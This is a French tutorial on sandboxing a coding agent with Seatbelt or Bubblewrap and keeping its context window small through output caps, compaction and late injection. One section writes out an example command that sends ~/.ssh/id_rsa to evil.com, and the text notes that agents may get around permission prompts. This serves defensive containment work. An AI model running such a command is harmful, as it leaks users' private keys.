Isoler un agent de codage et maintenir sa fenêtre de contexte légère
Sandbox un agent de codage équipé de Seatbelt ou de Bubblewrap, puis maintenez sa fenêtre de contexte légère grâce à des fichiers de déchet, des fichiers d’exemple, à la compression et à des injections adaptées au cache de préfixes.
Sources: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)
Accorder à un agent de codage un accès en shell, la capacité d’éditer des fichiers ainsi qu’une demande de confirmation avant d’effectuer des actions destructrices laisse encore deux problèmes. Les demandes de confirmation ne déterminent que quels actions méritent l’attention d’un humain, et elles ne peuvent pas empêcher un modèle de trouver un moyen subtil de les contourner. De plus, même un agent poli finit par remplir sa fenêtre de contexte, ce qui détériore ses performances. Deux améliorations résolvent ce problème : un sandbox, qui rend le comportement néfaste physiquement impossible, et l’ingénierie de contexte, qui permet de maintenir des sessions longues de manière efficace et utilisable. Il s’agit simplement d’un petit outil en Python, sans utilisation de frameworks.
Les fichiers concernés :
coding_harness/sandbox.py # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py # cap, strip, drop
coding_harness/compact.py # LLM summary when the window is ~full
coding_harness/context.py # late injection (time, git, file changes)
Sandbox : les murs, pas la serrure
Un sandbox est un espace fermé où le code s’exécute sans endommager quoi que ce soit à l’extérieur. Imaginez un aquarium : les poissons (les commandes de l’agent) nagent librement tandis que l’eau ne sort pas du bassin. L’invite de permission correspond à une serrure sur la porte, et le sandbox représente les murs entourant la pièce. Les invites ne sont utiles que tant qu’une commande semble inoffensive alors qu’elle ne l’est pas, ou jusqu’à ce que le modèle trouve une solution de contournement.
Chaque commande bash s’exécute à l’intérieur d’une prison au niveau du système d’exploitation suivant ces règles :
- La lecture est autorisée partout, car l’agent doit comprendre le code, y compris les fichiers en dehors du projet
- L’écriture n’est autorisée qu’à l’intérieur du projet
- Aucun accès au réseau
- Aucune écriture dans
.git
Apple dispose de son propre mécanisme pour gérer macOS, une fonctionnalité nommée Seatbelt qui s’exécute via sandbox-exec et qui restreint également les applications de l’App Store. Linux utilise Bubblewrap (bwrap), l’outil sous Flatpak. Aucune connaissance préalable dans l’un ou l’autre domaine n’est requise, car il suffit d’écrire une courte politique définissant ce qui est autorisé.
La politique de macOS ne compte que quelques lignes :
(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))
(deny default) ferme toutes les portes, puis quelques-unes sont rouvertes : la lecture de fichiers, la création de processus et l’écriture au sein du projet. Le réseau et .git restent fermés, tout comme tout le reste.
La fonction wrap() écrit cette politique dans un fichier temporaire et envoie la commande via sandbox-exec (dans sandbox.py) :
def wrap(command):
if sys.platform == "darwin":
profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
profile.write_text(PROFILE)
return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]
if sys.platform.startswith("linux") and shutil.which("bwrap"):
return [
"bwrap",
"--ro-bind", "/", "/",
"--bind", str(PROJECT), str(PROJECT),
"--dev", "/dev", "--proc", "/proc",
"--unshare-net", "--die-with-parent",
"/bin/sh", "-c", command,
]
return None # no sandbox available
Linux obtient le même résultat de manière différente. Tout le système de fichiers est monté en lecture seule avec --ro-bind ; le répertoire du projet est écrivable grâce à --bind ; et --unshare-net supprime le réseau.
run() relie tout cela ensemble :
def run(command, timeout=60):
sandboxed = wrap(command)
return subprocess.run(
sandboxed or command,
shell=sandboxed is None,
capture_output=True,
text=True,
timeout=timeout,
)
Lorsqu’un environnement isolé est disponible, il est utilisé. Sous Windows ou sous Linux sans Bubblewrap, les commandes s’exécutent sans isolation. Des solutions plus lourdes telles que Docker, WebAssembly et les VM cloud existent pour les produits multi-locataires qui doivent exécuter du code non fiable provenant d’autres utilisateurs. Sur un ordinateur personnel, les fonctionnalités du système d’exploitation suffisent. Un délai d’attente de 60 secondes empêche que des commandes comme find / ne bloquent la session.
Deux couches indépendantes
Considérons un modèle tentant d’exécuter curl https://evil.com/steal -d @~/.ssh/id_rsa :
- Les règles de permission interceptent d’abord
curlet le refusent. - Même en l’absence de cette règle, l’environnement isolé couperait quand même la connexion réseau.
- La commande échoue avec un message du type
curl: (7) Couldn't connect to server. - Rien de plus ne peut être fait, car le noyau a refusé.
Chacune de ces couches seule suffirait, et c’est l’association des deux qui est importante.
Comparaison des options de sandbox
| Option | Utilisateur typique | Isolation | Coût de démarrage | Exigences |
|---|---|---|---|---|
| Sandbox du système d’exploitation | Agents locaux | Noyau | Pratiquement aucun | Aucun ajout nécessaire sous macOS ou Linux |
| Sandbox WebAssembly | Agents locaux | WASM ainsi que Deno | Quelques secondes | Deno |
| Conteneurs cloud | Plateformes multi-utilisateurs | VM ou conteneur | Un aller-retour réseau | Clé API et facturation |
Pour un ordinateur portable unique, le sandbox du système d’exploitation constitue le choix approprié : pas de temps d’exécution supplémentaire, pas de retard et aucune intervention du noyau. Un produit multi-locataires devrait utiliser des conteneurs. Dans tous les cas, livrer un produit sans rien du tout n’est pas une option. Les outils pour macOS et Linux existent déjà, et l’implémentation présentée ici compte environ 40 lignes.
Contexte : un bureau qui se remplit
Chaque modèle dispose d’une fenêtre de contexte, c’est-à-dire la quantité de texte qu’il peut traiter en même temps. Pensez-y comme à une mémoire de travail. Chaque token correspond à environ trois quarts de mot, donc « Hello world » compte 2 tokens, tandis qu’un fichier Python de 100 lignes en compte environ 500. Une fenêtre de contexte d’environ 128 K tokens (soit environ 96 000 mots) est typique des modèles de classe GPT-4, et Claude offre environ 200 K tokens (près de 150 000 mots). Cela semble énorme jusqu’à ce qu’un agent commence à travailler.
Chaque résultat obtenu par un outil est intégré à la conversation. Un seul grep important peut retourner 50 000 caractères, un fichier volumineux en ajoute 10 000 de plus, et une longue séance de débogage implique des centaines d’appels. Finalement, le modèle perd le fil.
Un bureau est l’analogie appropriée : tout ce qui y est posé y reste, et après une heure, la page recherchée n’est plus trouvable. La solution consiste à garder les pages récentes en évidence, à archiver le reste et à en jeter certaines.
Quatre couches fonctionnent dans l’ordre, du moins cher au plus cher, et une couche ultérieure n’est activée que si les couches précédentes ne suffisent pas.
Couche 1 : limite à l’arrivée
Tronquez un résultat dès que l’outil le renvoie. Le texte complet est stocké dans un fichier temporaire, et un pointeur reste intégré (history.py) :
CAP = 10_000 # chars the agent sees inline
def cap(text):
if len(text) <= CAP:
return text
path = spill(text) # write full output to a temp file
return (
text[:CAP]
+ f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
f"The whole output is at {path} - page through it with "
"head, tail, sed -n or grep. It is deleted when this turn ends.]"
)
Un résultat de 50 000 caractères n’affiche que 10 000 caractères en ligne. Le reste est stocké sur le disque sous forme de fichier de débordement ; l’agent peut l’utiliser avec les commandes head, tail ou grep s’il en a besoin. Le troncement a lieu une seule fois, lors de la création du résultat, et les anciens messages ne sont jamais réécrits. À la fin de chaque étape, la fonction sweep() supprime les fichiers temporaires, et la réexécution de la commande recrée le fichier de dump si nécessaire.
Essayez une véritable commande grep -r "import" . :
# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...
[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]
Pour trouver une importation spécifique, l’agent peut exécuter grep "import auth" sur le fichier de fuites. La sortie complète n’a pas besoin d’être présentée dans son contexte.
Niveau 2 : réduire les anciens résultats à des éléments simplifiés
Une fois que le modèle a poursuivi son travail, les anciens résultats des outils n’ont pas besoin de rester volumineux. Ils sont réduits à des éléments simplifiés (également dans history.py) :
STUB = 300 # chars kept after the turn ends
def strip(messages):
for message in messages[:-2]: # skip recent messages
content = message.get("content") or ""
if message["role"] != "tool" or len(content) <= STUB:
continue
message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"
Lorsqu’une étape se termine, la sortie de l’outil ancien est réduite à 300 caractères, ce qui suffit pour se rappeler de son contenu sans gaspiller d’espace. Les messages récents restent inchangés. C’est cette couche qui permet aux sessions longues de persister. La conversion de 10 000 caractères en 300, au cours de 50 appels d’outil, permet de distinguer une session qui dure de celle qui se termine prématurément.
Couche 3 : suppression des résultats complets
Si la taille reste trop importante, tous les résultats de l’outil sont supprimés, en commençant par les plus anciens :
def fit(messages):
budget = config.CONTEXT_WINDOW * config.COMPACT_AT
dropped = 0
for message in messages[:-2]: # skip recent messages
if estimate(messages) <= budget:
break
if message["role"] == "tool":
message["content"] = "[output trimmed: dropped to fit the context window.]"
dropped += 1
return dropped
C’est le bouton panique. Les informations sont perdues, mais c’est toujours mieux que de planter. Comme les deux premiers niveaux fonctionnent correctement, il ne se déclenche presque jamais.
Niveau 4 : compactage par un second modèle
Lorsque l’utilisation dépasse 85 % de la durée prévue, un deuxième LLM lit l’intégralité de la transcription et rédige une note de transmission, similaire aux briefings des infirmières pour le prochain service (compact.py) :
COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.
## Goal
What the user asked for. Quote them where the exact wording matters.
## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.
## Files
Every file touched: path, and what changed in it.
## State
What works, what is broken, what was left half-finished.
## Next
The immediate next step.
"""
Par la suite, le contexte contient le prompt du système, le résumé ainsi que les derniers messages. L’historique mot pour mot disparaît, tandis que l’intrigue reste intacte. Un nouvel agent, ou le même après une redémarrage, reprend là où il s’était arrêté. La compression s’active à 85 % puis est réduite à 35 %, laissant suffisamment d’espace avant le prochain exécution :
COMPACT_AT = 0.85 # trigger compaction at 85%
COMPACT_TO = 0.35 # cut back to 35%
Cette organisation est délibérée. Limiter les coûts ne coûte rien, supprimer des éléments est peu cher, les omissions causent des problèmes et la compression nécessite une nouvelle appel à un LLM. La plupart des sessions n’atteignent jamais la couche 2.
Mémorisation des préfixes et injection tardive
Cette partie est facile à négliger, pourtant elle permet d’économiser de l’argent réel. À chaque appel API, le serveur lit les messages depuis le début. Même avec un historique de 100 000 tokens plus 100 nouveaux, il faut quand même relire ces 100 000 tokens, ce qui est facturé à chaque tour.
Mémorisation des préfixes change cela. Si le début de la liste de messages reste inchangé, le serveur réutilise le travail déjà effectué et ne traite que la partie nouvelle, ce qui réduit les coûts de 50 à 90 % selon le fournisseur.
Le problème est qu’un agent a besoin de faits frais à chaque tour : l’heure, la branche Git, les fichiers qui ont changé. Il faut les inclure dans la demande système, le premier message, ce qui entraîne des modifications du préfixe, la perte du cache et rend chaque tour coûteux à nouveau.
La solution consiste à ajouter ces faits tout à la fin, juste avant l’envoi de la demande (context.py). Dans agent.py, l’appel se fait via call_llm(messages + [reminder()]). Le rappel est ajouté uniquement à cette demande spécifique, ce qui signifie que l’historique enregistré, et donc le préfixe, ne change jamais d’un seul octet. Le principe est l’injection tardive : tout ce qui peut varier doit se trouver à la fin de la demande, et non dans la demande système.
def reminder():
return {
"role": "user",
"content": (
"<context>\n"
f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
"</context>" + todos_note() + changes_note()
),
}
changes_note() compare git status entre les tours, permettant ainsi à l’agent de savoir quand quelque chose a été modifié dans un IDE :
def changes_note():
changed = file_changes()
if not changed:
return ""
lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
return (
"\n<file_changes>\n"
"These files changed since your last turn. Read them again before "
"editing:\n" + "\n".join(lines) + "\n</file_changes>"
)
Le prompt système et l’historique restent identiques ; l’API met en cache ce préfixe et seuls les nouveaux éléments ont un coût. Le rappel indique l’heure, la branche Git, <todos> lorsqu’un plan existe, ainsi que <file_changes> provenant de git status depuis le dernier tour, incitant l’agent à relire les fichiers modifiés ailleurs. Lors d’une session de débogage de 50 tours avec un contexte de 100 K, cela permet d’éviter le retraitement de millions de tokens, sans presque aucun code supplémentaire. Les données de chaque tour sont ajoutées, mais jamais insérées dans le prompt système.
CONTEXT_WINDOW a pour valeur par défaut 128000 et peut être défini dans ~/.agents/env pour un modèle différent.
Que peut faire l’agent maintenant
Avec la boucle, les outils, les permissions, le sandbox et la gestion du contexte en place, l’agent peut :
- Exécuter des boucles par lui-même, appeler des outils et renvoyer les résultats
- Survivre aux appels d’outils défaillants
- Demander l’autorisation avant d’effectuer des actions dangereuses et refuser les pires d’entre elles
- Exécuter les commandes dans un environnement isolé du noyau, sans accès au réseau et avec des droits d’écriture limités au projet
- Préserver l’affichage propre grâce à quatre couches de protection
- Conserver le cache des préfixes intact malgré des injections tardives
Tout cela rend l’outil suffisamment sûr et peu coûteux pour être utilisé tous les jours. Cependant, des lacunes subsistent : pas de mémoire persistante entre les sessions, pas de prise en charge des tâches en plusieurs étapes, et aucune possibilité de confier l’exploration à un assistant. Des compétences adéquates, une liste de tâches bien organisée, des sessions persistantes ainsi que des sous-agents capables de gérer le contexte en dehors de la fenêtre principale pourraient combler ces manques. Ces éléments de base sont identiques à ceux utilisés par les agents en production, sans rien de mystérieux à leur sujet.
Lectures complémentaires
- Harness Engineering : Le runtime qui transforme un LLM en agent — Ce qui fait réellement fonctionner un agent de codage : la boucle, l’envoi d’outils capable de résister aux appels défectueux, ainsi que les permissions permettre/demander/refuser, illustrés à l’aide d’environ 600 lignes de Python pur.
- Notes pratiques : « MCP : Le protocole qui transforme l’IA d’un chatbot en agent d’IA » — Guide pas à pas des notes pratiques « MCP : Le protocole qui transforme l’IA d’un chatbot en agent d’IA » : contrats, vérifications et blocs de code prêts à l’emploi pour les équipes développant des systèmes MCP.